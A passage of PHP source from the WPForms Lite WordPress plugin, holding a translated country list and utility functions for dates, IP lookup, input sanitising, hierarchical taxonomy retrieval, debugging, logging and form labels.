'AT' => esc_html__( 'Austria', 'wpforms-lite' ),
'AZ' => esc_html__( 'Azerbaijan', 'wpforms-lite' ),
'BS' => esc_html__( 'Bahamas', 'wpforms-lite' ),
'BH' => esc_html__( 'Bahrain', 'wpforms-lite' ),
'BD' => esc_html__( 'Bangladesh', 'wpforms-lite' ),
'BB' => esc_html__( 'Barbados', 'wpforms-lite' ),
'BY' => esc_html__( 'Belarus', 'wpforms-lite' ),
'BE' => esc_html__( 'Belgium', 'wpforms-lite' ),
'BZ' => esc_html__( 'Belize', 'wpforms-lite' ),
'BJ' => esc_html__( 'Benin', 'wpforms-lite' ),
'BM' => esc_html__( 'Bermuda', 'wpforms-lite' ),
'BT' => esc_html__( 'Bhutan', 'wpforms-lite' ),
'BO' => esc_html__( 'Bolivia (Plurinational State of)', 'wpforms-lite' ),
'BA' => esc_html__( 'Bosnia and Herzegovina', 'wpforms-lite' ),
'BW' => esc_html__( 'Botswana', 'wpforms-lite' ),
'BV' => esc_html__( 'Bouvet Island', 'wpforms-lite' ),
'BR' => esc_html__( 'Brazil', 'wpforms-lite' ),
'IO' => esc_html__( 'British Indian Ocean Territory', 'wpforms-lite' ),
'BN' => esc_html__( 'Brunei Darussalam', 'wpforms-lite' ),
'BG' => esc_html__( 'Bulgaria', 'wpforms-lite' ),
'BF' => esc_html__( 'Burkina Faso', 'wpforms-lite' ),
'BI' => esc_html__( 'Burundi', 'wpforms-lite' ),
'CV' => esc_html__( 'Cabo Verde', 'wpforms-lite' ),
'KH' => esc_html__( 'Cambodia', 'wpforms-lite' ),
'CM' => esc_html__( 'Cameroon', 'wpforms-lite' ),
'CA' => esc_html__( 'Canada', 'wpforms-lite' ),
'KY' => esc_html__( 'Cayman Islands', 'wpforms-lite' ),
'CF' => esc_html__( 'Central African Republic', 'wpforms-lite' ),
'TD' => esc_html__( 'Chad', 'wpforms-lite' ),
'CL' => esc_html__( 'Chile', 'wpforms-lite' ),
'CN' => esc_html__( 'China', 'wpforms-lite' ),
'CX' => esc_html__( 'Christmas Island', 'wpforms-lite' ),
'CC' => esc_html__( 'Cocos (Keeling) Islands', 'wpforms-lite' ),
'CO' => esc_html__( 'Colombia', 'wpforms-lite' ),
'KM' => esc_html__( 'Comoros', 'wpforms-lite' ),
'CG' => esc_html__( 'Congo', 'wpforms-lite' ),
'CD' => esc_html__( 'Congo (Democratic Republic of the)', 'wpforms-lite' ),
'CK' => esc_html__( 'Cook Islands', 'wpforms-lite' ),
'CR' => esc_html__( 'Costa Rica', 'wpforms-lite' ),
'CI' => esc_html__( 'Côte d\'Ivoire', 'wpforms-lite' ),
'HR' => esc_html__( 'Croatia', 'wpforms-lite' ),
'CU' => esc_html__( 'Cuba', 'wpforms-lite' ),
'CW' => esc_html__( 'Curaçao', 'wpforms-lite' ),
'CY' => esc_html__( 'Cyprus', 'wpforms-lite' ),
'CZ' => esc_html__( 'Czech Republic', 'wpforms-lite' ),
'DK' => esc_html__( 'Denmark', 'wpforms-lite' ),
'DJ' => esc_html__( 'Djibouti', 'wpforms-lite' ),
'DM' => esc_html__( 'Dominica', 'wpforms-lite' ),
'DO' => esc_html__( 'Dominican Republic', 'wpforms-lite' ),
'EC' => esc_html__( 'Ecuador', 'wpforms-lite' ),
'EG' => esc_html__( 'Egypt', 'wpforms-lite' ),
'SV' => esc_html__( 'El Salvador', 'wpforms-lite' ),
'GQ' => esc_html__( 'Equatorial Guinea', 'wpforms-lite' ),
'ER' => esc_html__( 'Eritrea', 'wpforms-lite' ),
'EE' => esc_html__( 'Estonia', 'wpforms-lite' ),
'ET' => esc_html__( 'Ethiopia', 'wpforms-lite' ),
'FK' => esc_html__( 'Falkland Islands (Malvinas)', 'wpforms-lite' ),
'FO' => esc_html__( 'Faroe Islands', 'wpforms-lite' ),
'FJ' => esc_html__( 'Fiji', 'wpforms-lite' ),
'FI' => esc_html__( 'Finland', 'wpforms-lite' ),
'FR' => esc_html__( 'France', 'wpforms-lite' ),
'GF' => esc_html__( 'French Guiana', 'wpforms-lite' ),
'PF' => esc_html__( 'French Polynesia', 'wpforms-lite' ),
'TF' => esc_html__( 'French Southern Territories', 'wpforms-lite' ),
'GA' => esc_html__( 'Gabon', 'wpforms-lite' ),
'GM' => esc_html__( 'Gambia', 'wpforms-lite' ),
'GE' => esc_html_x( 'Georgia', 'Country', 'wpforms-lite' ),
'DE' => esc_html__( 'Germany', 'wpforms-lite' ),
'GH' => esc_html__( 'Ghana', 'wpforms-lite' ),
'GI' => esc_html__( 'Gibraltar', 'wpforms-lite' ),
'GR' => esc_html__( 'Greece', 'wpforms-lite' ),
'GL' => esc_html__( 'Greenland', 'wpforms-lite' ),
'GD' => esc_html__( 'Grenada', 'wpforms-lite' ),
'GP' => esc_html__( 'Guadeloupe', 'wpforms-lite' ),
'GU' => esc_html__( 'Guam', 'wpforms-lite' ),
'GT' => esc_html__( 'Guatemala', 'wpforms-lite' ),
'GG' => esc_html__( 'Guernsey', 'wpforms-lite' ),
'GN' => esc_html__( 'Guinea', 'wpforms-lite' ),
'GW' => esc_html__( 'Guinea-Bissau', 'wpforms-lite' ),
'GY' => esc_html__( 'Guyana', 'wpforms-lite' ),
'HT' => esc_html__( 'Haiti', 'wpforms-lite' ),
'HM' => esc_html__( 'Heard Island and McDonald Islands', 'wpforms-lite' ),
'HN' => esc_html__( 'Honduras', 'wpforms-lite' ),
'HK' => esc_html__( 'Hong Kong', 'wpforms-lite' ),
'HU' => esc_html__( 'Hungary', 'wpforms-lite' ),
'IS' => esc_html__( 'Iceland', 'wpforms-lite' ),
'IN' => esc_html__( 'India', 'wpforms-lite' ),
'ID' => esc_html__( 'Indonesia', 'wpforms-lite' ),
'IR' => esc_html__( 'Iran (Islamic Republic of)', 'wpforms-lite' ),
'IQ' => esc_html__( 'Iraq', 'wpforms-lite' ),
'IE' => esc_html__( 'Ireland (Republic of)', 'wpforms-lite' ),
'IM' => esc_html__( 'Isle of Man', 'wpforms-lite' ),
'IL' => esc_html__( 'Israel', 'wpforms-lite' ),
'IT' => esc_html__( 'Italy', 'wpforms-lite' ),
'JM' => esc_html__( 'Jamaica', 'wpforms-lite' ),
'JP' => esc_html__( 'Japan', 'wpforms-lite' ),
'JE' => esc_html__( 'Jersey', 'wpforms-lite' ),
'JO' => esc_html__( 'Jordan', 'wpforms-lite' ),
'KZ' => esc_html__( 'Kazakhstan', 'wpforms-lite' ),
'KE' => esc_html__( 'Kenya', 'wpforms-lite' ),
'KI' => esc_html__( 'Kiribati', 'wpforms-lite' ),
'KP' => esc_html__( 'Korea (Democratic People\'s Republic of)', 'wpforms-lite' ),
'KR' => esc_html__( 'Korea (Republic of)', 'wpforms-lite' ),
'KW' => esc_html__( 'Kuwait', 'wpforms-lite' ),
'KG' => esc_html__( 'Kyrgyzstan', 'wpforms-lite' ),
'LA' => esc_html__( 'Lao People\'s Democratic Republic', 'wpforms-lite' ),
'LV' => esc_html__( 'Latvia', 'wpforms-lite' ),
'LB' => esc_html__( 'Lebanon', 'wpforms-lite' ),
'LS' => esc_html__( 'Lesotho', 'wpforms-lite' ),
'LR' => esc_html__( 'Liberia', 'wpforms-lite' ),
'LY' => esc_html__( 'Libya', 'wpforms-lite' ),
'LI' => esc_html__( 'Liechtenstein', 'wpforms-lite' ),
'LT' => esc_html__( 'Lithuania', 'wpforms-lite' ),
'LU' => esc_html__( 'Luxembourg', 'wpforms-lite' ),
'MO' => esc_html__( 'Macao', 'wpforms-lite' ),
'MK' => esc_html__( 'Macedonia (Republic of)', 'wpforms-lite' ),
'MG' => esc_html__( 'Madagascar', 'wpforms-lite' ),
'MW' => esc_html__( 'Malawi', 'wpforms-lite' ),
'MY' => esc_html__( 'Malaysia', 'wpforms-lite' ),
'MV' => esc_html__( 'Maldives', 'wpforms-lite' ),
'ML' => esc_html__( 'Mali', 'wpforms-lite' ),
'MT' => esc_html__( 'Malta', 'wpforms-lite' ),
'MH' => esc_html__( 'Marshall Islands', 'wpforms-lite' ),
'MQ' => esc_html__( 'Martinique', 'wpforms-lite' ),
'MR' => esc_html__( 'Mauritania', 'wpforms-lite' ),
'MU' => esc_html__( 'Mauritius', 'wpforms-lite' ),
'YT' => esc_html__( 'Mayotte', 'wpforms-lite' ),
'MX' => esc_html__( 'Mexico', 'wpforms-lite' ),
'FM' => esc_html__( 'Micronesia (Federated States of)', 'wpforms-lite' ),
'MD' => esc_html__( 'Moldova (Republic of)', 'wpforms-lite' ),
'MC' => esc_html__( 'Monaco', 'wpforms-lite' ),
'MN' => esc_html__( 'Mongolia', 'wpforms-lite' ),
'ME' => esc_html__( 'Montenegro', 'wpforms-lite' ),
'MS' => esc_html__( 'Montserrat', 'wpforms-lite' ),
'MA' => esc_html__( 'Morocco', 'wpforms-lite' ),
'MZ' => esc_html__( 'Mozambique', 'wpforms-lite' ),
'MM' => esc_html__( 'Myanmar', 'wpforms-lite' ),
'NA' => esc_html__( 'Namibia', 'wpforms-lite' ),
'NR' => esc_html__( 'Nauru', 'wpforms-lite' ),
'NP' => esc_html__( 'Nepal', 'wpforms-lite' ),
'NL' => esc_html__( 'Netherlands', 'wpforms-lite' ),
'NC' => esc_html__( 'New Caledonia', 'wpforms-lite' ),
'NZ' => esc_html__( 'New Zealand', 'wpforms-lite' ),
'NI' => esc_html__( 'Nicaragua', 'wpforms-lite' ),
'NE' => esc_html__( 'Niger', 'wpforms-lite' ),
'NG' => esc_html__( 'Nigeria', 'wpforms-lite' ),
'NU' => esc_html__( 'Niue', 'wpforms-lite' ),
'NF' => esc_html__( 'Norfolk Island', 'wpforms-lite' ),
'MP' => esc_html__( 'Northern Mariana Islands', 'wpforms-lite' ),
'NO' => esc_html__( 'Norway', 'wpforms-lite' ),
'OM' => esc_html__( 'Oman', 'wpforms-lite' ),
'PK' => esc_html__( 'Pakistan', 'wpforms-lite' ),
'PW' => esc_html__( 'Palau', 'wpforms-lite' ),
'PS' => esc_html__( 'Palestine (State of)', 'wpforms-lite' ),
'PA' => esc_html__( 'Panama', 'wpforms-lite' ),
'PG' => esc_html__( 'Papua New Guinea', 'wpforms-lite' ),
'PY' => esc_html__( 'Paraguay', 'wpforms-lite' ),
'PE' => esc_html__( 'Peru', 'wpforms-lite' ),
'PH' => esc_html__( 'Philippines', 'wpforms-lite' ),
'PN' => esc_html__( 'Pitcairn', 'wpforms-lite' ),
'PL' => esc_html__( 'Poland', 'wpforms-lite' ),
'PT' => esc_html__( 'Portugal', 'wpforms-lite' ),
'PR' => esc_html__( 'Puerto Rico', 'wpforms-lite' ),
'QA' => esc_html__( 'Qatar', 'wpforms-lite' ),
'RE' => esc_html__( 'Réunion', 'wpforms-lite' ),
'RO' => esc_html__( 'Romania', 'wpforms-lite' ),
'RU' => esc_html__( 'Russian Federation', 'wpforms-lite' ),
'RW' => esc_html__( 'Rwanda', 'wpforms-lite' ),
'BL' => esc_html__( 'Saint Barthélemy', 'wpforms-lite' ),
'SH' => esc_html__( 'Saint Helena, Ascension and Tristan da Cunha', 'wpforms-lite' ),
'KN' => esc_html__( 'Saint Kitts and Nevis', 'wpforms-lite' ),
'LC' => esc_html__( 'Saint Lucia', 'wpforms-lite' ),
'MF' => esc_html__( 'Saint Martin (French part)', 'wpforms-lite' ),
'PM' => esc_html__( 'Saint Pierre and Miquelon', 'wpforms-lite' ),
'VC' => esc_html__( 'Saint Vincent and the Grenadines', 'wpforms-lite' ),
'WS' => esc_html__( 'Samoa', 'wpforms-lite' ),
'SM' => esc_html__( 'San Marino', 'wpforms-lite' ),
'ST' => esc_html__( 'Sao Tome and Principe', 'wpforms-lite' ),
'SA' => esc_html__( 'Saudi Arabia', 'wpforms-lite' ),
'SN' => esc_html__( 'Senegal', 'wpforms-lite' ),
'RS' => esc_html__( 'Serbia', 'wpforms-lite' ),
'SC' => esc_html__( 'Seychelles', 'wpforms-lite' ),
'SL' => esc_html__( 'Sierra Leone', 'wpforms-lite' ),
'SG' => esc_html__( 'Singapore', 'wpforms-lite' ),
'SX' => esc_html__( 'Sint Maarten (Dutch part)', 'wpforms-lite' ),
'SK' => esc_html__( 'Slovakia', 'wpforms-lite' ),
'SI' => esc_html__( 'Slovenia', 'wpforms-lite' ),
'SB' => esc_html__( 'Solomon Islands', 'wpforms-lite' ),
'SO' => esc_html__( 'Somalia', 'wpforms-lite' ),
'ZA' => esc_html__( 'South Africa', 'wpforms-lite' ),
'GS' => esc_html__( 'South Georgia and the South Sandwich Islands', 'wpforms-lite' ),
'SS' => esc_html__( 'South Sudan', 'wpforms-lite' ),
'ES' => esc_html__( 'Spain', 'wpforms-lite' ),
'LK' => esc_html__( 'Sri Lanka', 'wpforms-lite' ),
'SD' => esc_html__( 'Sudan', 'wpforms-lite' ),
'SR' => esc_html__( 'Suriname', 'wpforms-lite' ),
'SJ' => esc_html__( 'Svalbard and Jan Mayen', 'wpforms-lite' ),
'SZ' => esc_html__( 'Swaziland', 'wpforms-lite' ),
'SE' => esc_html__( 'Sweden', 'wpforms-lite' ),
'CH' => esc_html__( 'Switzerland', 'wpforms-lite' ),
'SY' => esc_html__( 'Syrian Arab Republic', 'wpforms-lite' ),
'TW' => esc_html__( 'Taiwan, Province of China', 'wpforms-lite' ),
'TJ' => esc_html__( 'Tajikistan', 'wpforms-lite' ),
'TZ' => esc_html__( 'Tanzania (United Republic of)', 'wpforms-lite' ),
'TH' => esc_html__( 'Thailand', 'wpforms-lite' ),
'TL' => esc_html__( 'Timor-Leste', 'wpforms-lite' ),
'TG' => esc_html__( 'Togo', 'wpforms-lite' ),
'TK' => esc_html__( 'Tokelau', 'wpforms-lite' ),
'TO' => esc_html__( 'Tonga', 'wpforms-lite' ),
'TT' => esc_html__( 'Trinidad and Tobago', 'wpforms-lite' ),
'TN' => esc_html__( 'Tunisia', 'wpforms-lite' ),
'TR' => esc_html__( 'Turkey', 'wpforms-lite' ),
'TM' => esc_html__( 'Turkmenistan', 'wpforms-lite' ),
'TC' => esc_html__( 'Turks and Caicos Islands', 'wpforms-lite' ),
'TV' => esc_html__( 'Tuvalu', 'wpforms-lite' ),
'UG' => esc_html__( 'Uganda', 'wpforms-lite' ),
'UA' => esc_html__( 'Ukraine', 'wpforms-lite' ),
'AE' => esc_html__( 'United Arab Emirates', 'wpforms-lite' ),
'GB' => esc_html__( 'United Kingdom of Great Britain and Northern Ireland', 'wpforms-lite' ),
'US' => esc_html__( 'United States of America', 'wpforms-lite' ),
'UM' => esc_html__( 'United States Minor Outlying Islands', 'wpforms-lite' ),
'UY' => esc_html__( 'Uruguay', 'wpforms-lite' ),
'UZ' => esc_html__( 'Uzbekistan', 'wpforms-lite' ),
'VU' => esc_html__( 'Vanuatu', 'wpforms-lite' ),
'VA' => esc_html__( 'Vatican City State', 'wpforms-lite' ),
'VE' => esc_html__( 'Venezuela (Bolivarian Republic of)', 'wpforms-lite' ),
'VN' => esc_html__( 'Viet Nam', 'wpforms-lite' ),
'VG' => esc_html__( 'Virgin Islands (British)', 'wpforms-lite' ),
'VI' => esc_html__( 'Virgin Islands (U.S.)', 'wpforms-lite' ),
'WF' => esc_html__( 'Wallis and Futuna', 'wpforms-lite' ),
'EH' => esc_html__( 'Western Sahara', 'wpforms-lite' ),
'YE' => esc_html__( 'Yemen', 'wpforms-lite' ),
'ZM' => esc_html__( 'Zambia', 'wpforms-lite' ),
'ZW' => esc_html__( 'Zimbabwe', 'wpforms-lite' ),
);
return apply_filters( 'wpforms_countries', $countries );
}
/**
* Calendar Months.
*
* @since 1.3.7
* @return array
*/
function wpforms_months() {
$months = array(
'Jan' => esc_html__( 'January', 'wpforms-lite' ),
'Feb' => esc_html__( 'February', 'wpforms-lite' ),
'Mar' => esc_html__( 'March', 'wpforms-lite' ),
'Apr' => esc_html__( 'April', 'wpforms-lite' ),
'May' => esc_html__( 'May', 'wpforms-lite' ),
'Jun' => esc_html__( 'June', 'wpforms-lite' ),
'Jul' => esc_html__( 'July', 'wpforms-lite' ),
'Aug' => esc_html__( 'August', 'wpforms-lite' ),
'Sep' => esc_html__( 'September', 'wpforms-lite' ),
'Oct' => esc_html__( 'October', 'wpforms-lite' ),
'Nov' => esc_html__( 'November', 'wpforms-lite' ),
'Dec' => esc_html__( 'December', 'wpforms-lite' ),
);
return apply_filters( 'wpforms_months', $months );
}
/**
* Calendar Days.
*
* @since 1.3.7
* @return array
*/
function wpforms_days() {
$days = array(
'Sun' => esc_html__( 'Sunday', 'wpforms-lite' ),
'Mon' => esc_html__( 'Monday', 'wpforms-lite' ),
'Tue' => esc_html__( 'Tuesday', 'wpforms-lite' ),
'Wed' => esc_html__( 'Wednesday', 'wpforms-lite' ),
'Thu' => esc_html__( 'Thursday', 'wpforms-lite' ),
'Fri' => esc_html__( 'Friday', 'wpforms-lite' ),
'Sat' => esc_html__( 'Saturday', 'wpforms-lite' ),
);
return apply_filters( 'wpforms_days', $days );
}
/**
* Lookup user IP.
*
* There are many ways to do this, but we prefer the way EDD does it.
* https://github.com/easydigitaldownloads/easy-digital-downloads/blob/master/includes/misc-functions.php#L163
*
* @since 1.2.5
*
* @return string
*/
function wpforms_get_ip() {
$ip = '127.0.0.1';
if ( ! empty( $_SERVER['HTTP_CLIENT_IP'] ) ) {
$ip = $_SERVER['HTTP_CLIENT_IP']; //phpcs:ignore
} elseif ( ! empty( $_SERVER['HTTP_X_FORWARDED_FOR'] ) ) {
$ip = explode( ',', $_SERVER['HTTP_X_FORWARDED_FOR'] ); //phpcs:ignore
$ip = trim( $ip[0] );
} elseif ( ! empty( $_SERVER['REMOTE_ADDR'] ) ) {
$ip = $_SERVER['REMOTE_ADDR']; //phpcs:ignore
}
$ip_array = array_map( 'trim', explode( ',', $ip ) );
return sanitize_text_field( apply_filters( 'wpforms_get_ip', $ip_array[0] ) );
}
/**
* Sanitizes hex color.
*
* @since 1.2.1
*
* @param string $color
*
* @return string
*/
function wpforms_sanitize_hex_color( $color ) {
if ( empty( $color ) ) {
return '';
}
// 3 or 6 hex digits, or the empty string.
if ( preg_match( '|^#([A-Fa-f0-9]{3}){1,2}$|', $color ) ) {
return $color;
}
return '';
}
/**
* Sanitizes error message, primarily used during form frontend output.
*
* @since 1.3.7
*
* @param string $error
*
* @return string
*/
function wpforms_sanitize_error( $error = '' ) {
$allow = array(
'a' => array(
'href' => array(),
'title' => array(),
),
'br' => array(),
'em' => array(),
'strong' => array(),
'p' => array(),
);
return wp_kses( $error, $allow );
}
/**
* Sanitizes a string, that can be a multiline.
* If WP core `sanitize_textarea_field()` exists (after 4.7.0) - use it.
* Otherwise - split onto separate lines, sanitize each one, merge again.
*
* @since 1.4.1
*
* @param string $string
*
* @return string If empty var is passed, or not a string - return unmodified. Otherwise - sanitize.
*/
function wpforms_sanitize_textarea_field( $string ) {
if ( empty( $string ) || ! is_string( $string ) ) {
return $string;
}
if ( function_exists( 'sanitize_textarea_field' ) ) {
$string = sanitize_textarea_field( $string );
} else {
$string = implode( "\n", array_map( 'sanitize_text_field', explode( "\n", $string ) ) );
}
return $string;
}
/**
* Sanitizes an array, that consists of values as strings.
* After that - merge all array values into multiline string.
*
* @since 1.4.1
*
* @param array $array
*
* @return mixed If not an array is passed (or empty var) - return unmodified var. Otherwise - a merged array into multiline string.
*/
function wpforms_sanitize_array_combine( $array ) {
if ( empty( $array ) || ! is_array( $array ) ) {
return $array;
}
return implode( "\n", array_map( 'sanitize_text_field', $array ) );
}
/**
* Detect if we should use a light or dark color based on the color given.
*
* @since 1.2.5
* @link https://docs.woocommerce.com/wc-apidocs/source-function-wc_light_or_dark.html#608-627
*
* @param mixed $color
* @param string $dark (default: '#000000').
* @param string $light (default: '#FFFFFF').
*
* @return string
*/
function wpforms_light_or_dark( $color, $dark = '#000000', $light = '#FFFFFF' ) {
$hex = str_replace( '#', '', $color );
$c_r = hexdec( substr( $hex, 0, 2 ) );
$c_g = hexdec( substr( $hex, 2, 2 ) );
$c_b = hexdec( substr( $hex, 4, 2 ) );
$brightness = ( ( $c_r * 299 ) + ( $c_g * 587 ) + ( $c_b * 114 ) ) / 1000;
return $brightness > 155 ? $dark : $light;
}
/**
* Builds and returns either a taxonomy or post type object that is
* nests to accommodate any hierarchy.
*
* @since 1.3.9
* @since 1.5.0 Return array only. Empty array of no data.
*
* @param array $args Object arguments to pass to data retrieval function.
* @param bool $flat Preserve hierarchy or not. False by default - preserve it.
*
* @return array
*/
function wpforms_get_hierarchical_object( $args = array(), $flat = false ) {
if ( empty( $args['taxonomy'] ) && empty( $args['post_type'] ) ) {
return array();
}
$children = array();
$parents = array();
$ref_parent = '';
$ref_name = '';
if ( ! empty( $args['post_type'] ) ) {
$defaults = array(
'posts_per_page' => - 1,
'orderby' => 'title',
'order' => 'ASC',
);
$args = wp_parse_args( $args, $defaults );
$items = get_posts( $args );
$ref_parent = 'post_parent';
$ref_id = 'ID';
$ref_name = 'post_title';
} elseif ( ! empty( $args['taxonomy'] ) ) {
$defaults = array(
'hide_empty' => false,
);
$args = wp_parse_args( $args, $defaults );
$items = get_terms( $args );
$ref_parent = 'parent';
$ref_id = 'term_id';
$ref_name = 'name';
}
if ( empty( $items ) || is_wp_error( $items ) ) {
return array();
}
foreach ( $items as $item ) {
if ( $item->{$ref_parent} ) {
$children[ $item->{$ref_id} ] = $item;
$children[ $item->{$ref_id} ]->ID = (int) $item->{$ref_id};
} else {
$parents[ $item->{$ref_id} ] = $item;
$parents[ $item->{$ref_id} ]->ID = (int) $item->{$ref_id};
}
}
$children_count = count( $children );
while ( $children_count >= 1 ) {
foreach ( $children as $child ) {
_wpforms_get_hierarchical_object_search( $child, $parents, $children, $ref_parent );
// $children is modified by reference, so we need to recount to make sure we met the limits.
$children_count = count( $children );
}
}
if ( $flat ) {
$parents_flat = array();
_wpforms_get_hierarchical_object_flatten( $parents, $parents_flat, $ref_name );
return $parents_flat;
}
return $parents;
}
/**
* Searches a given array and finds the parent of the provided object.
*
* @since 1.3.9
*
* @param object $child
* @param array $parents
* @param array $children
* @param string $ref_parent
*/
function _wpforms_get_hierarchical_object_search( $child, &$parents, &$children, $ref_parent ) {
foreach ( $parents as $id => $parent ) {
if ( $parent->ID === $child->{$ref_parent} ) {
if ( empty( $parent->children ) ) {
$parents[ $id ]->children = array(
$child->ID => $child,
);
} else {
$parents[ $id ]->children[ $child->ID ] = $child;
}
unset( $children[ $child->ID ] );
} elseif ( ! empty( $parent->children ) && is_array( $parent->children ) ) {
_wpforms_get_hierarchical_object_search( $child, $parent->children, $children, $ref_parent );
}
}
}
/**
* Flattens a hierarchical object.
*
* @since 1.3.9
*
* @param array $array
* @param array $output
* @param string $ref_name
* @param int $level
*/
function _wpforms_get_hierarchical_object_flatten( $array, &$output, $ref_name = 'name', $level = 0 ) {
foreach ( $array as $key => $item ) {
$indicator = apply_filters( 'wpforms_hierarchical_object_indicator', '—' );
$item->{$ref_name} = str_repeat( $indicator, $level ) . ' ' . $item->{$ref_name};
$item->depth = $level + 1;
$output[ $item->ID ] = $item;
if ( ! empty( $item->children ) ) {
_wpforms_get_hierarchical_object_flatten( $item->children, $output, $ref_name, $level + 1 );
unset( $output[ $item->ID ]->children );
}
}
}
/**
* Returns field choice properties for field configured with dynamic choices.
*
* @since 1.4.5
*
* @param array $field Field settings.
* @param int $form_id Form ID.
* @param array $form_data Form data and settings.
*
* @return false|array
*/
function wpforms_get_field_dynamic_choices( $field, $form_id, $form_data = array() ) {
if ( empty( $field['dynamic_choices'] ) ) {
return false;
}
$choices = array();
if ( 'post_type' === $field['dynamic_choices'] ) {
if ( empty( $field['dynamic_post_type'] ) ) {
return false;
}
$posts = wpforms_get_hierarchical_object(
apply_filters(
'wpforms_dynamic_choice_post_type_args',
array(
'post_type' => $field['dynamic_post_type'],
'posts_per_page' => -1,
'orderby' => 'title',
'order' => 'ASC',
),
$field,
$form_id
),
true
);
foreach ( $posts as $post ) {
$choices[] = array(
'value' => $post->ID,
'label' => $post->post_title,
'depth' => isset( $post->depth ) ? absint( $post->depth ) : 1,
);
}
} elseif ( 'taxonomy' === $field['dynamic_choices'] ) {
if ( empty( $field['dynamic_taxonomy'] ) ) {
return false;
}
$terms = wpforms_get_hierarchical_object(
apply_filters(
'wpforms_dynamic_choice_taxonomy_args',
array(
'taxonomy' => $field['dynamic_taxonomy'],
'hide_empty' => false,
),
$field,
$form_data
),
true
);
foreach ( $terms as $term ) {
$choices[] = array(
'value' => $term->term_id,
'label' => $term->name,
'depth' => isset( $term->depth ) ? absint( $term->depth ) : 1,
);
}
}
return $choices;
}
/**
* Insert an array into another array before/after a certain key.
*
* @since 1.3.9
* @link https://gist.github.com/scribu/588429
*
* @param array $array The initial array.
* @param array $pairs The array to insert.
* @param string $key The certain key.
* @param string $position Where to insert the array - before or after the key.
*
* @return array
*/
function wpforms_array_insert( $array, $pairs, $key, $position = 'after' ) {
$key_pos = array_search( $key, array_keys( $array ), true );
if ( 'after' === $position ) {
$key_pos ++;
}
if ( false !== $key_pos ) {
$result = array_slice( $array, 0, $key_pos );
$result = array_merge( $result, $pairs );
$result = array_merge( $result, array_slice( $array, $key_pos ) );
} else {
$result = array_merge( $array, $pairs );
}
return $result;
}
/**
* Recursively remove empty strings from an array.
*
* @since 1.3.9.1
*
* @param array $data
*
* @return array
*/
function wpforms_array_remove_empty_strings( $data ) {
foreach ( $data as $key => $value ) {
if ( is_array( $value ) ) {
$data[ $key ] = wpforms_array_remove_empty_strings( $data[ $key ] );
}
if ( '' === $data[ $key ] ) {
unset( $data[ $key ] );
}
}
return $data;
}
/**
* Whether plugin works in a debug mode.
*
* @since 1.2.3
*
* @return bool
*/
function wpforms_debug() {
$debug = false;
if ( ( defined( 'WPFORMS_DEBUG' ) && true === WPFORMS_DEBUG ) && is_super_admin() ) {
$debug = true;
}
$debug_option = get_option( 'wpforms_debug' );
if ( $debug_option ) {
$current_user = wp_get_current_user();
if ( $current_user->user_login === $debug_option ) {
$debug = true;
}
}
return apply_filters( 'wpforms_debug', $debug );
}
/**
* Helper function to display debug data.
*
* @since 1.0.0
*
* @param mixed $data What to dump, can be any type.
* @param bool $echo Whether to print or return. Default is to print.
*
* @return string
*/
function wpforms_debug_data( $data, $echo = true ) {
if ( wpforms_debug() ) {
$output = '<textarea style="background:#fff;margin: 20px 0;width:100%;height:500px;font-size:12px;font-family: Consolas,Monaco,monospace;direction: ltr;unicode-bidi: embed;line-height: 1.4;padding: 4px 6px 1px;" readonly>';
$output .= "=================== WPFORMS DEBUG ===================\n\n";
if ( is_array( $data ) || is_object( $data ) ) {
$output .= print_r( $data, true ); // phpcs:ignore
} else {
$output .= $data;
}
$output .= '</textarea>';
if ( $echo ) {
echo $output; // phpcs:ignore
} else {
return $output;
}
}
}
/**
* Log helper.
*
* @since 1.0.0
*
* @param string $title Title of a log message.
* @param mixed $message Content of a log message.
* @param array $args Expected keys: form_id, meta, parent.
*/
function wpforms_log( $title = '', $message = '', $args = array() ) {
// Require log title.
if ( empty( $title ) ) {
return;
}
// Force logging everything when in debug mode.
if ( ! wpforms_debug() ) {
/**
* Compare error levels to determine if we should log.
* Current supported levels:
* - Errors (error)
* - Spam (spam)
* - Entries (entry)
* - Payments (payment)
* - Providers (provider)
* - Conditional Logic (conditional_logic)
*/
$type = ! empty( $args['type'] ) ? (array) $args['type'] : array( 'error' );
$levels = array_intersect( $type, get_option( 'wpforms_logging', array() ) );
if ( empty( $levels ) ) {
return;
}
}
// Meta.
if ( ! empty( $args['form_id'] ) ) {
$meta = array(
'form' => absint( $args['form_id'] ),
);
} elseif ( ! empty( $args['meta'] ) ) {
$meta = $args['meta'];
} else {
$meta = '';
}
// Parent element.
$parent = ! empty( $args['parent'] ) ? $args['parent'] : 0;
// Make arrays and objects look nice.
if ( is_array( $message ) || is_object( $message ) ) {
$message = '<pre>' . print_r( $message, true ) . '</pre>'; // phpcs:ignore
}
// Create log entry.
wpforms()->logs->add( $title, $message, $parent, $parent, $meta );
}
/**
* Check whether the current page is in AMP mode or not.
* We need to check for specific functions, as there is no special AMP header.
*
* @since 1.4.1
*
* @param bool $check_theme_support Whether theme support should be checked. Defaults to true.
* @return bool
*/
function wpforms_is_amp( $check_theme_support = true ) {
$is_amp = false;
if (
// AMP by Automattic; ampforwp.
( function_exists( 'is_amp_endpoint' ) && is_amp_endpoint() ) ||
// Better AMP.
( function_exists( 'is_better_amp' ) && is_better_amp() )
) {
$is_amp = true;
}
if ( $is_amp && $check_theme_support ) {
$is_amp = current_theme_supports( 'amp' );
}
return apply_filters( 'wpforms_is_amp', $is_amp );
}
/**
* Decode special characters, both alpha- (<) and numeric-based (').
*
* @since 1.4.1
*
* @param string $string Raw string to decode.
*
* @return string
*/
function wpforms_decode_string( $string ) {
if ( ! is_string( $string ) ) {
return $string;
}
return wp_kses_decode_entities( html_entity_decode( $string, ENT_QUOTES ) );
}
add_filter( 'wpforms_email_message', 'wpforms_decode_string' );
/**
* Get a suffix for assets, `.min` if debug is disabled.
*
* @since 1.4.1
*
* @return string
*/
function wpforms_get_min_suffix() {
return wpforms_debug() ? '' : '.min';
}
/**
* Get the required label text, with a filter.
*
* @since 1.4.4
*
* @return string
*/
function wpforms_get_required_label() {
return apply_filters( 'wpforms_required_label', esc_html__( 'This field is required.', 'wpforms-lite' ) );
}
/**
* Get the required field label HTML, with a filter.
*
* @since 1.4.8
*
* @return string
*/
function wpforms_get_field_required_label() {
$label_html = apply_filters_deprecated(
'wpforms_field_required_label',
array( ' <span class="wpforms-required-label">*</span>' ),
'1.4.8 of WPForms plugin',
'wpforms_get_field_required_label'
);
return apply_filters( 'wpforms_get_field_required_label', $label_html );
}
/**
* Get the default capability to manage everything for WPForms.
*
* @since 1.4.4
*
* @return string
*/
function wpforms_get_capability_manage_options() {
return apply_filters( 'wpforms_manage_cap', 'manage_options' );
}
